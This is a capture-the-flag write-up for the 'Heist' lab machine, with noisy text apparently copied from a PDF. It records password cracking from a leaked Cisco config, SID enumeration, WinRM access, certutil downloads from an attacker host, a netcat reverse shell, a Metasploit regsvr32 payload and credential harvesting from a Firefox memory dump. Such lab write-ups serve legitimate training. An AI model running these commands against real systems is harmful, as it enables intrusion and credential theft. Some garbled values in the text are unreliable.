Heist

InfoGathering

PORT STATE SERVICE 80/tcp open http Microsoft IIS httpd 10.0 | http-cookie-flags: /: PHPSESSID: httponly flag not set http-methods: Potentially risky methods: TRACE http-server-header: Microsoft-IIS/10.0 | http-title: Support Login Page 135/tcp open msrpc 445/tcp open microsoft-ds 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) http-server-header: Microsoft-HTTPAPI/2.0 49669/tcp open msrpc Microsoft Windows RPC

LOGIN PAGE http://10.10.10.149/index.php

Welcome, pl	ease login
Username	2
Password	4
Login	
Remember	Login as guest



JavaScript Graphics



Click Login as Guest

Issues			
Hazard Hi, I've b previous # Attach	20 minutes ago een experiencing problems with my cisco router. Here's a part of the configuration admin had been using. I'm new to this and don't know how to fix it. :(• the	÷
	Support Admin admin 10 minutes ago Hi, thanks for posting the issue here. We provide fast support and help. Let me to look and get back to you! Item to the second se	🖤 take i	€ a
2	Hazard 10 minutes ago Thanks a lot. Also, please create an account for me on the windows server as l access the files.	• need	f I to

Download the attachment containing the router config. We also see here Hazard may have an account creted for him.

version 12.2 no service pad service password-encryption

```
isdn switch-type basic-5ess
Į.
hostname ios-1
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
ļ
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
Į.
ip ssh authentication-retries 5
ip ssh version 2
Į.
router bgp 100
synchronization
bgp log-neighbor-changes
bgp dampening
network 192.168.0.0Å mask 300.255.255.0
timers bgp 3 9
redistribute connected
I
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
Į.
L
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
no ip http server
no ip http secure-server
I.
line vty 0 4
session-timeout 600
authorization exec SSH
transport input ssh
```

Gaining Access

Since we have the enable hash lets try to crack that

```
john --format=md5crypt-long --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
john --show hash.txt
enable_secret:stealthlagent
```

root@kali:~/HTB/boxes/Heist# john --format=md5crypt-long --wordlist=/usr/share/wordlists/rockyou.txt hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt-long, crypt(3) \$1\$ (and variants) [MD5 32/64]) Will run 8 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status stealthlagent (enable_secret) 1g 0:00:01:30 DONE (2019-09-22 05:31) 0.01105g/s 39162p/s 39162c/s 39162C/s stealthphantom..stealth1.1 Use the "--show" option to display all of the cracked passwords reliably Session completed root@kali:~/HTB/boxes/Heist# john --show hash.txt enable_secret:stealthlagent

l password hash cracked, 0 left

CRACK CISCO PASS RESOURCE: http://www.firewall.cx/cisco-technical-knowledgebase/cisco-routers/358cisco-type7-password-crack.html

EN: stealth1agent

USER: admin PASS: Q4)sJu\Y8qz*A3?d

USER: rout3r PASS: \$uperP@ssword

I was not able to login anywhere other than \\10.10.10.149\IPC\$ as the user hazard. Lets try getting some more enum out of SMB now that we have some sort of creds to use for access.

We can see after logging into IPC\$ there is nothing there for us

smbclient -U hazard -W HEIST.htb //10.10.10.149/IPC\$
Enter HEIST.HTB\hazard's password:
Try "help" to get a list of possible commands.
smb: \> dir
NT_STATUS_INVALID_INF0_CLASS listing *
smb: \>

Lets see what impacket can show us. RESOURCE: https://github.com/SecureAuthCorp/impacket.git root@kali:/opt/ActiveDirectory/impacket/examples# python lookupsid.py HEIST/ hazard:stealthlagent@l0.10.10.149 Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation
[*] Brute forcing SIDs at 10.10.10.149 [*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc] [*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112 500: SUPPORTDESK\Administrator (SidTypeUser) 501: SUPPORTDESK\Guest (SidTypeUser) 503: SUPPORTDESK\DefaultAccount (SidTypeUser) 504: SUPPORTDESK\DefaultAccount (SidTypeUser) 513: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser) 513: SUPPORTDESK\Hazard (SidTypeUser) 1008: SUPPORTDESK\Hazard (SidTypeUser) 1009: SUPPORTDESK\Lason (SidTypeUser) 1012: SUPPORTDESK\Lason (SidTypeUser)

We now have a list of users. Since hazard has the same reused password from enable I will try passwords with these users.

It seems Chase has the same password as admin. Lets see if we can winrm in as him.

smbclient -U 'Chase%Q4)sJu\Y8qz*A3?d' -W SUPPORTDESK //10.10.10.149/IPC\$

We sure can :)

root@kali:~/HTB/boxes/Heist# ruby winrm.rb PS supportdesk\chase@SUPPORTDESK Documents>

Lets get user flag

The winrm file should like the below

RESOURCE: https://github.com/Alamot/code-snippets/blob/master/winrm/winrm_shell_with_upload.rb

```
require 'winrm-fs'
conn = WinRM::Connection.new(
                             endpoint: 'http://10.10.10.149:5985/wsman',
 transport: :ssl,
 user: 'Chase',
 password: 'Q4)sJu\Y8qz*A3?d',
  :no_ssl_peer_verification => true
)
file manager = WinRM::FS::FileManager.new(conn)
class String
 def tokenize
    self.
      split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
      select {|s| not s.empty? }.
      map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
 end
end
command=""
conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
        print(output.output.chomp)
        command = gets
        if command.start_with?('UPLOAD') then
            upload command = command.tokenize
            print("Uploading " + upload_command[1] + " to " + upload_command[2])
            file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes,
local path, remote path
                puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
            end
            command = "echo `nOK`n"
        end
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print(stdout)
            STDERR.print(stderr)
        end
    end
    puts("Exiting with code #{output.exitcode}")
end
type C:\Users\Chase\Desktop\user.txt
a127daef77ab6d9d92008653295f59c4
```

USER FLAG: a127daef77ab6d9d92008653295f59c4

PrivEsc

Time for some more enum. There is a file called todo.txt in the same directory as the user flag. It tells us what we already knew.

I have a set of Windows powershell scripts I like to use for enumeration.

- RESOURCES:
- JAWS https://github.com/411Hall/JAWS
- SHERLOCK https://github.com/rasta-mouse/Sherlock
- NISHANG https://github.com/samratashok/nishang

POWERSPLOIT https://github.com/PowerShellMafia/PowerSploit

Any of the ps1 files can be remotely on an HTTP server remotely served. This can be done using the below method

I also ran Sherlocks Check-AllVulns cmdlet and ran jaws-enum.ps1 Sherlock did not find any known vulnerabilities.

This shell is a little slow and I want a better one so I am going to downlaod nc64.exe to the machine and then gain a meterpeter shell to show both.

```
# ATTACK MACHINE
cd NetCat
python -m SimpleHTTPServer
# TARGET MACHINE
cd C:\Windows\System32\spool\drivers\color
certutil.exe -urlcahce -split -f http://10.10.14.23:8000/nc64.exe
# ATTACK MACHINE
Ctrl+C # This is to close the SimpleHTTPServer
nc -lvnp 8089
# TARGET MACHINE
nc64.exe -e powershell 10.10.14.23 8089
```

Much better. Now I want a meterpreter

```
msfconsole
use exploit/multi/script/web_delivery
set LHOST 10.10.14.23
set SRVHOST 10.10.14.23
set LPORT 8081
set SRVPORT 8082
set target RegSVR32
set payload windows/x64/meterpreter/reverse_tcp run
# ON TARGET MACHINE
regsvr32 /s /n /u /i:http://10.10.14.23:8082/JcArL0ajvGNX.sct scrobj.dll powershell
```

Coolio. Now to attempt some quick basic meterperter commands



Since we have not found any credentials, hashes, exploitable dlls we are going to check out some processes.

We are going to use ProcDump. RESOURCE: https://docs.microsoft.com/en-us/sysinternals/downloads/ procdump

Download procdump to the machine using meterpreter or certutil

```
cd C:\Windows\System32\spool\drivers\color
certutil.exe -urlcache -split -f http://10.10.14.23:8000/procdump64.exe
procdump -accepteula -ma 6324  # Firefox pid
Write-Verbose "Now we look for the password string in the file"
Get-Content -Path 'firefox.exe_190923_054301.dmp' | Select-String 'Password'
```

Using procdump I found this line near the top. lhost/login.php? login_username=admin@support.htb&login_password=4dD!5}x/ re8]FBuZ&login=MOZ_CRASHREPORTER_STRINGS_OVERR Lets try signing in using the creds we just found. USER: administrator PASS: 4dD!5}x/re8]FBuZ

Set the winrm.rb file to use these new credentials. IT WORKS!! Lets get our flag!

```
Get-Content -Path C:\Users\Administrator\Desktop\root.txt
50dfa3c6bfd20e2e0d071b073d766897
# Clean up after yourself
Remove-Item firefox.exe_*.dmp
Remove-Item nc64.exe
Remove-Item procdump64.ex
```

ROOT FLAG: 50dfa3c6bfd20e2e0d071b073d766897